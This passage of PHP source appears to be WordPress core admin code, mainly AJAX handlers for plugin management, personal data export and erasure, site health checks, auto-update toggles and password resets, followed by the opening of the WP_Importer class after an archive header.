		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	$install_status = install_plugin_install_status( $api );
	$pagenow        = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';

	// If installation request is coming from import page, do not return network activation link.
	$plugins_url = ( 'import' === $pagenow ) ? admin_url( 'plugins.php' ) : network_admin_url( 'plugins.php' );

	if ( current_user_can( 'activate_plugin', $install_status['file'] ) && is_plugin_inactive( $install_status['file'] ) ) {
		$status['activateUrl'] = add_query_arg(
			array(
				'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $install_status['file'] ),
				'action'   => 'activate',
				'plugin'   => $install_status['file'],
			),
			$plugins_url
		);
	}

	if ( is_multisite() && current_user_can( 'manage_network_plugins' ) && 'import' !== $pagenow ) {
		$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
	}

	wp_send_json_success( $status );
}

/**
 * Handles updating a plugin via AJAX.
 *
 * @since 4.2.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_update_plugin() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['plugin'] ) || empty( $_POST['slug'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

	$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

	$status = array(
		'update'     => 'plugin',
		'slug'       => sanitize_key( wp_unslash( $_POST['slug'] ) ),
		'oldVersion' => '',
		'newVersion' => '',
	);

	if ( ! current_user_can( 'update_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update plugins for this site.' );
		wp_send_json_error( $status );
	}

	$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

	if ( $plugin_data['Version'] ) {
		/* translators: %s: Plugin version. */
		$status['oldVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	wp_update_plugins();

	$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $plugin ) );

	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

	if ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->has_errors() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_array( $result ) && ! empty( $result[ $plugin ] ) ) {

		/*
		 * Plugin is already at the latest version.
		 *
		 * This may also be the return value if the `update_plugins` site transient is empty,
		 * e.g. when you update two plugins in quick succession before the transient repopulates.
		 *
		 * Preferably something can be done to ensure `update_plugins` isn't empty.
		 * For now, surface some sort of error here.
		 */
		if ( true === $result[ $plugin ] ) {
			$status['errorMessage'] = $upgrader->strings['up_to_date'];
			wp_send_json_error( $status );
		}

		$plugin_data = get_plugins( '/' . $result[ $plugin ]['destination_name'] );
		$plugin_data = reset( $plugin_data );

		if ( $plugin_data['Version'] ) {
			/* translators: %s: Plugin version. */
			$status['newVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
		}

		wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	// An unhandled error occurred.
	$status['errorMessage'] = __( 'Plugin update failed.' );
	wp_send_json_error( $status );
}

/**
 * Handles deleting a plugin via AJAX.
 *
 * @since 4.6.0
 *
 * @see delete_plugins()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 */
function wp_ajax_delete_plugin() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
		wp_send_json_error(
			array(
				'slug'         => '',
				'errorCode'    => 'no_plugin_specified',
				'errorMessage' => __( 'No plugin specified.' ),
			)
		);
	}

	$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

	$status = array(
		'delete' => 'plugin',
		'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

	if ( ! current_user_can( 'delete_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete plugins for this site.' );
		wp_send_json_error( $status );
	}

	$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

	if ( is_plugin_active( $plugin ) ) {
		$status['errorMessage'] = __( 'You cannot delete a plugin while it is active on the main site.' );
		wp_send_json_error( $status );
	}

	// Check filesystem credentials. `delete_plugins()` will bail otherwise.
	$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&checked[]=' . $plugin, 'bulk-plugins' );

	ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();

	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

		$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

		// Pass through the error from WP_Filesystem if one was raised.
		if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			$status['errorMessage'] = esc_html( $wp_filesystem->errors->get_error_message() );
		}

		wp_send_json_error( $status );
	}

	$result = delete_plugins( array( $plugin ) );

	if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Plugin could not be deleted.' );
		wp_send_json_error( $status );
	}

	wp_send_json_success( $status );
}

/**
 * Handles searching plugins via AJAX.
 *
 * @since 4.6.0
 *
 * @global string $s Search term.
 */
function wp_ajax_search_plugins() {
	check_ajax_referer( 'updates' );

	// Ensure after_plugin_row_{$plugin_file} gets hooked.
	wp_plugin_update_rows();

	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugins-network' === $pagenow || 'plugins' === $pagenow ) {
		set_current_screen( $pagenow );
	}

	/** @var WP_Plugins_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugins_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

	$status = array();

	if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

	// Set the correct requester, so pagination works.
	$_SERVER['REQUEST_URI'] = add_query_arg(
		array_diff_key(
			$_POST,
			array(
				'_ajax_nonce' => null,
				'action'      => null,
			)
		),
		network_admin_url( 'plugins.php', 'relative' )
	);

	$GLOBALS['s'] = wp_unslash( $_POST['s'] );

	$wp_list_table->prepare_items();

	ob_start();
	$wp_list_table->display();
	$status['count'] = count( $wp_list_table->items );
	$status['items'] = ob_get_clean();

	wp_send_json_success( $status );
}

/**
 * Handles searching plugins to install via AJAX.
 *
 * @since 4.6.0
 */
function wp_ajax_search_install_plugins() {
	check_ajax_referer( 'updates' );

	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugin-install-network' === $pagenow || 'plugin-install' === $pagenow ) {
		set_current_screen( $pagenow );
	}

	/** @var WP_Plugin_Install_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugin_Install_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

	$status = array();

	if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

	// Set the correct requester, so pagination works.
	$_SERVER['REQUEST_URI'] = add_query_arg(
		array_diff_key(
			$_POST,
			array(
				'_ajax_nonce' => null,
				'action'      => null,
			)
		),
		network_admin_url( 'plugin-install.php', 'relative' )
	);

	$wp_list_table->prepare_items();

	ob_start();
	$wp_list_table->display();
	$status['count'] = (int) $wp_list_table->get_pagination_arg( 'total_items' );
	$status['items'] = ob_get_clean();

	wp_send_json_success( $status );
}

/**
 * Handles editing a theme or plugin file via AJAX.
 *
 * @since 4.9.0
 *
 * @see wp_edit_theme_plugin_file()
 */
function wp_ajax_edit_theme_plugin_file() {
	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); // Validation of args is done in wp_edit_theme_plugin_file().

	if ( is_wp_error( $r ) ) {
		wp_send_json_error(
			array_merge(
				array(
					'code'    => $r->get_error_code(),
					'message' => $r->get_error_message(),
				),
				(array) $r->get_error_data()
			)
		);
	} else {
		wp_send_json_success(
			array(
				'message' => __( 'File edited successfully.' ),
			)
		);
	}
}

/**
 * Handles exporting a user's personal data via AJAX.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_export_personal_data() {

	if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}

	$request_id = (int) $_POST['id'];

	if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

	if ( ! current_user_can( 'export_others_personal_data' ) ) {
		wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
	}

	check_ajax_referer( 'wp-privacy-export-personal-data-' . $request_id, 'security' );

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request type.' ) );
	}

	$email_address = $request->email;
	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'A valid email address must be given.' ) );
	}

	if ( ! isset( $_POST['exporter'] ) ) {
		wp_send_json_error( __( 'Missing exporter index.' ) );
	}

	$exporter_index = (int) $_POST['exporter'];

	if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}

	$page = (int) $_POST['page'];

	$send_as_email = isset( $_POST['sendAsEmail'] ) ? ( 'true' === $_POST['sendAsEmail'] ) : false;

	/**
	 * Filters the array of exporter callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable exporters of personal data. Default empty array.
	 *
	 *     @type array ...$0 {
	 *         Array of personal data exporters.
	 *
	 *         @type callable $callback               Callable exporter function that accepts an
	 *                                                email address and a page number and returns an
	 *                                                array of name => value pairs of personal data.
	 *         @type string   $exporter_friendly_name Translated user facing friendly name for the
	 *                                                exporter.
	 *     }
	 * }
	 */
	$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );

	if ( ! is_array( $exporters ) ) {
		wp_send_json_error( __( 'An exporter has improperly used the registration filter.' ) );
	}

	// Do we have any registered exporters?
	if ( 0 < count( $exporters ) ) {
		if ( $exporter_index < 1 ) {
			wp_send_json_error( __( 'Exporter index cannot be negative.' ) );
		}

		if ( $exporter_index > count( $exporters ) ) {
			wp_send_json_error( __( 'Exporter index is out of range.' ) );
		}

		if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

		$exporter_keys = array_keys( $exporters );
		$exporter_key  = $exporter_keys[ $exporter_index - 1 ];
		$exporter      = $exporters[ $exporter_key ];

		if ( ! is_array( $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter array index. */
				sprintf( __( 'Expected an array describing the exporter at index %s.' ), $exporter_key )
			);
		}

		if ( ! array_key_exists( 'exporter_friendly_name', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter array index. */
				sprintf( __( 'Exporter array at index %s does not include a friendly name.' ), $exporter_key )
			);
		}

		$exporter_friendly_name = $exporter['exporter_friendly_name'];

		if ( ! array_key_exists( 'callback', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Exporter does not include a callback: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! is_callable( $exporter['callback'] ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Exporter callback is not a valid callback: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		$callback = $exporter['callback'];
		$response = call_user_func( $callback, $email_address, $page );

		if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

		if ( ! is_array( $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected response as an array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! array_key_exists( 'data', $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected data in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! is_array( $response['data'] ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected data array in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}

		if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				/* translators: %s: Exporter friendly name. */
				sprintf( __( 'Expected done (boolean) in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}
	} else {
		// No exporters, so we're done.
		$exporter_key = '';

		$response = array(
			'data' => array(),
			'done' => true,
		);
	}

	/**
	 * Filters a page of personal data exporter data. Used to build the export report.
	 *
	 * Allows the export response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        The personal data for the given exporter and page number.
	 * @param int    $exporter_index  The index of the exporter that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page number for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
	 * @param string $exporter_key    The key (slug) of the exporter that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_export_page', $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key );

	if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

	wp_send_json_success( $response );
}

/**
 * Handles erasing personal data via AJAX.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_erase_personal_data() {

	if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}

	$request_id = (int) $_POST['id'];

	if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

	// Both capabilities are required to avoid confusion, see `_wp_personal_data_removal_page()`.
	if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
		wp_send_json_error( __( 'Sorry, you are not allowed to perform this action.' ) );
	}

	check_ajax_referer( 'wp-privacy-erase-personal-data-' . $request_id, 'security' );

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request type.' ) );
	}

	$email_address = $request->email;

	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'Invalid email address in request.' ) );
	}

	if ( ! isset( $_POST['eraser'] ) ) {
		wp_send_json_error( __( 'Missing eraser index.' ) );
	}

	$eraser_index = (int) $_POST['eraser'];

	if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}

	$page = (int) $_POST['page'];

	/**
	 * Filters the array of personal data eraser callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable erasers of personal data. Default empty array.
	 *
	 *     @type array ...$0 {
	 *         Array of personal data exporters.
	 *
	 *         @type callable $callback               Callable eraser that accepts an email address and a page
	 *                                                number, and returns an array with boolean values for
	 *                                                whether items were removed or retained and any messages
	 *                                                from the eraser, as well as if additional pages are
	 *                                                available.
	 *         @type string   $exporter_friendly_name Translated user facing friendly name for the eraser.
	 *     }
	 * }
	 */
	$erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() );

	// Do we have any registered erasers?
	if ( 0 < count( $erasers ) ) {

		if ( $eraser_index < 1 ) {
			wp_send_json_error( __( 'Eraser index cannot be less than one.' ) );
		}

		if ( $eraser_index > count( $erasers ) ) {
			wp_send_json_error( __( 'Eraser index is out of range.' ) );
		}

		if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

		$eraser_keys = array_keys( $erasers );
		$eraser_key  = $eraser_keys[ $eraser_index - 1 ];
		$eraser      = $erasers[ $eraser_key ];

		if ( ! is_array( $eraser ) ) {
			/* translators: %d: Eraser array index. */
			wp_send_json_error( sprintf( __( 'Expected an array describing the eraser at index %d.' ), $eraser_index ) );
		}

		if ( ! array_key_exists( 'eraser_friendly_name', $eraser ) ) {
			/* translators: %d: Eraser array index. */
			wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a friendly name.' ), $eraser_index ) );
		}

		$eraser_friendly_name = $eraser['eraser_friendly_name'];

		if ( ! array_key_exists( 'callback', $eraser ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: %s: Eraser friendly name. */
					__( 'Eraser does not include a callback: %s.' ),
					esc_html( $eraser_friendly_name )
				)
			);
		}

		if ( ! is_callable( $eraser['callback'] ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: %s: Eraser friendly name. */
					__( 'Eraser callback is not valid: %s.' ),
					esc_html( $eraser_friendly_name )
				)
			);
		}

		$callback = $eraser['callback'];
		$response = call_user_func( $callback, $email_address, $page );

		if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

		if ( ! is_array( $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Did not receive array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'items_removed', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected items_removed key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'items_retained', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected items_retained key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'messages', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected messages key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! is_array( $response['messages'] ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected messages key to reference an array in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

		if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: Eraser friendly name, 2: Eraser array index. */
					__( 'Expected done flag in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}
	} else {
		// No erasers, so we're done.
		$eraser_key = '';

		$response = array(
			'items_removed'  => false,
			'items_retained' => false,
			'messages'       => array(),
			'done'           => true,
		);
	}

	/**
	 * Filters a page of personal data eraser data.
	 *
	 * Allows the erasure response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        {
	 *     The personal data for the given exporter and page number.
	 *
	 *     @type bool     $items_removed  Whether items were actually removed or not.
	 *     @type bool     $items_retained Whether items were retained or not.
	 *     @type string[] $messages       An array of messages to add to the personal data export file.
	 *     @type bool     $done           Whether the eraser is finished or not.
	 * }
	 * @param int    $eraser_index    The index of the eraser that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page number for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param string $eraser_key      The key (slug) of the eraser that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_erasure_page', $response, $eraser_index, $email_address, $page, $request_id, $eraser_key );

	if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

	wp_send_json_success( $response );
}

/**
 * Handles site health checks on server communication via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_dotorg_communication()
 * @see WP_REST_Site_Health_Controller::test_dotorg_communication()
 */
function wp_ajax_health_check_dotorg_communication() {
	_doing_it_wrong(
		'wp_ajax_health_check_dotorg_communication',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_dotorg_communication',
			'WP_REST_Site_Health_Controller::test_dotorg_communication'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

	$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_dotorg_communication() );
}

/**
 * Handles site health checks on background updates via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_background_updates()
 * @see WP_REST_Site_Health_Controller::test_background_updates()
 */
function wp_ajax_health_check_background_updates() {
	_doing_it_wrong(
		'wp_ajax_health_check_background_updates',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_background_updates',
			'WP_REST_Site_Health_Controller::test_background_updates'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

	$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_background_updates() );
}

/**
 * Handles site health checks on loopback requests via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::test_loopback_requests()
 * @see WP_REST_Site_Health_Controller::test_loopback_requests()
 */
function wp_ajax_health_check_loopback_requests() {
	_doing_it_wrong(
		'wp_ajax_health_check_loopback_requests',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_loopback_requests',
			'WP_REST_Site_Health_Controller::test_loopback_requests'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Site_Health' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
	}

	$site_health = WP_Site_Health::get_instance();
	wp_send_json_success( $site_health->get_test_loopback_requests() );
}

/**
 * Handles site health check to update the result status via AJAX.
 *
 * @since 5.2.0
 */
function wp_ajax_health_check_site_status_result() {
	check_ajax_referer( 'health-check-site-status-result' );

	if ( ! current_user_can( 'view_site_health_checks' ) ) {
		wp_send_json_error();
	}

	set_transient( 'health-check-site-status-result', wp_json_encode( $_POST['counts'] ) );

	wp_send_json_success();
}

/**
 * Handles site health check to get directories and database sizes via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::get_directory_sizes()
 * @see WP_REST_Site_Health_Controller::get_directory_sizes()
 */
function wp_ajax_health_check_get_sizes() {
	_doing_it_wrong(
		'wp_ajax_health_check_get_sizes',
		sprintf(
		// translators: 1: The Site Health action that is no longer used by core. 2: The new function that replaces it.
			__( 'The Site Health check for %1$s has been replaced with %2$s.' ),
			'wp_ajax_health_check_get_sizes',
			'WP_REST_Site_Health_Controller::get_directory_sizes'
		),
		'5.6.0'
	);

	check_ajax_referer( 'health-check-site-status-result' );

	if ( ! current_user_can( 'view_site_health_checks' ) || is_multisite() ) {
		wp_send_json_error();
	}

	if ( ! class_exists( 'WP_Debug_Data' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
	}

	$sizes_data = WP_Debug_Data::get_sizes();
	$all_sizes  = array( 'raw' => 0 );

	foreach ( $sizes_data as $name => $value ) {
		$name = sanitize_text_field( $name );
		$data = array();

		if ( isset( $value['size'] ) ) {
			if ( is_string( $value['size'] ) ) {
				$data['size'] = sanitize_text_field( $value['size'] );
			} else {
				$data['size'] = (int) $value['size'];
			}
		}

		if ( isset( $value['debug'] ) ) {
			if ( is_string( $value['debug'] ) ) {
				$data['debug'] = sanitize_text_field( $value['debug'] );
			} else {
				$data['debug'] = (int) $value['debug'];
			}
		}

		if ( ! empty( $value['raw'] ) ) {
			$data['raw'] = (int) $value['raw'];
		}

		$all_sizes[ $name ] = $data;
	}

	if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
		wp_send_json_error( $all_sizes );
	}

	wp_send_json_success( $all_sizes );
}

/**
 * Handles renewing the REST API nonce via AJAX.
 *
 * @since 5.3.0
 */
function wp_ajax_rest_nonce() {
	exit( wp_create_nonce( 'wp_rest' ) );
}

/**
 * Handles enabling or disable plugin and theme auto-updates via AJAX.
 *
 * @since 5.5.0
 */
function wp_ajax_toggle_auto_updates() {
	check_ajax_referer( 'updates' );

	if ( empty( $_POST['type'] ) || empty( $_POST['asset'] ) || empty( $_POST['state'] ) ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. No selected item.' ) ) );
	}

	$asset = sanitize_text_field( urldecode( $_POST['asset'] ) );

	if ( 'enable' !== $_POST['state'] && 'disable' !== $_POST['state'] ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown state.' ) ) );
	}
	$state = $_POST['state'];

	if ( 'plugin' !== $_POST['type'] && 'theme' !== $_POST['type'] ) {
		wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
	}
	$type = $_POST['type'];

	switch ( $type ) {
		case 'plugin':
			if ( ! current_user_can( 'update_plugins' ) ) {
				$error_message = __( 'Sorry, you are not allowed to modify plugins.' );
				wp_send_json_error( array( 'error' => $error_message ) );
			}

			$option = 'auto_update_plugins';
			/** This filter is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			$all_items = apply_filters( 'all_plugins', get_plugins() );
			break;
		case 'theme':
			if ( ! current_user_can( 'update_themes' ) ) {
				$error_message = __( 'Sorry, you are not allowed to modify themes.' );
				wp_send_json_error( array( 'error' => $error_message ) );
			}

			$option    = 'auto_update_themes';
			$all_items = wp_get_themes();
			break;
		default:
			wp_send_json_error( array( 'error' => __( 'Invalid data. Unknown type.' ) ) );
	}

	if ( ! array_key_exists( $asset, $all_items ) ) {
		$error_message = __( 'Invalid data. The item does not exist.' );
		wp_send_json_error( array( 'error' => $error_message ) );
	}

	$auto_updates = (array) get_site_option( $option, array() );

	if ( 'disable' === $state ) {
		$auto_updates = array_diff( $auto_updates, array( $asset ) );
	} else {
		$auto_updates[] = $asset;
		$auto_updates   = array_unique( $auto_updates );
	}

	// Remove items that have been deleted since the site option was last updated.
	$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

	update_site_option( $option, $auto_updates );

	wp_send_json_success();
}

/**
 * Handles sending a password reset link via AJAX.
 *
 * @since 5.7.0
 */
function wp_ajax_send_password_reset() {

	// Validate the nonce for this action.
	$user_id = isset( $_POST['user_id'] ) ? (int) $_POST['user_id'] : 0;
	check_ajax_referer( 'reset-password-for-' . $user_id, 'nonce' );

	// Verify user capabilities.
	if ( ! current_user_can( 'edit_user', $user_id ) ) {
		wp_send_json_error( __( 'Cannot send password reset, permission denied.' ) );
	}

	// Send the password reset link.
	$user    = get_userdata( $user_id );
	$results = retrieve_password( $user->user_login );

	if ( true === $results ) {
		wp_send_json_success(
			/* translators: %s: User's display name. */
			sprintf( __( 'A password reset link was emailed to %s.' ), $user->display_name )
		);
	} else {
		wp_send_json_error( $results->get_error_message() );
	}
}
class-wp-importer.php000064400000016451150275632050010661 0ustar00<?php
/**
 * WP_Importer base class
 */
#[AllowDynamicProperties]
class WP_Importer {
	/**
	 * Class Constructor
	 */
	public function __construct() {}

	/**
	 * Returns array with imported permalinks from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $importer_name
	 * @param string $blog_id
	 * @return array
	 */
	public function get_imported_posts( $importer_name, $blog_id ) {
		global $wpdb;

		$hashtable = array();

		$limit  = 100;
		$offset = 0;

		// Grab all posts in chunks.
		do {
			$meta_key = $importer_name . '_' . $blog_id . '_permalink';
